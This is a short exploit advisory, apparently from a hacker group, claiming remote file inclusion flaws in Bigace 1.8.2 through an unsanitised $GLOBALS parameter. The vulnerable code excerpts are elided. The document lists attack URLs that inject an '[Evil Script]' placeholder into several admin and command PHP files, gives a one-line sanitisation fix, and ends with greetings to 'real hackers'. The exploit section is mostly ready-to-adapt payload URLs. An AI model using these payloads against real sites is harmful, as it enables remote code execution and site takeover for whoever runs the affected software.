Author : Vampire

Location : Iran - Tehran

HomePage : http://www.hackerz.ir

Email : Vampire_chiristof[at]yahoo[dot]com

Critical Level : Dangerous

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Affected Software Description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Bigace

version : 1.8.2

URL : http://Bigace.sourceforge.net

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Vulnerability:

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in download.cmd.php , admin.cmd.php , upload_form.php We Found Vulnerability Script

----------------------------------------admin.cmd.php-----------------------
---------------

....



...
----------------------------------------download.cmd.php-----------------------
---------------
....



...


----------------------------------------upload_form.php-----------------------
---------------
....



...




----------------------------------------item_main.php-----------------------
---------------
....




...



Exploit:

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http://www.target.com/[Bigace]/system/admin/include/item_main.php?GLOBALS=[Evil Script]

http://www.target.com/[Bigace]/system/admin/include/upload_form.php?GLOBALS=[Evil Script]

http://www.target.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[Evil Script]

http://www.target.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[Evil Script]

http://www.target.com/[Bigace]/system/command/admin.cmd.php?GLOBALS=[Evil Script]

Solution:

~~~~~~~~

Sanitize Variabel $GLOBALS in download.cmd.php , admin.cmd.php , item_main.php , upload_form.php

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Shoutz:

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~ Special Greetz to My Best Friends Cephexin , Sh3ll , MFOX , Alijbs and All Real Hackers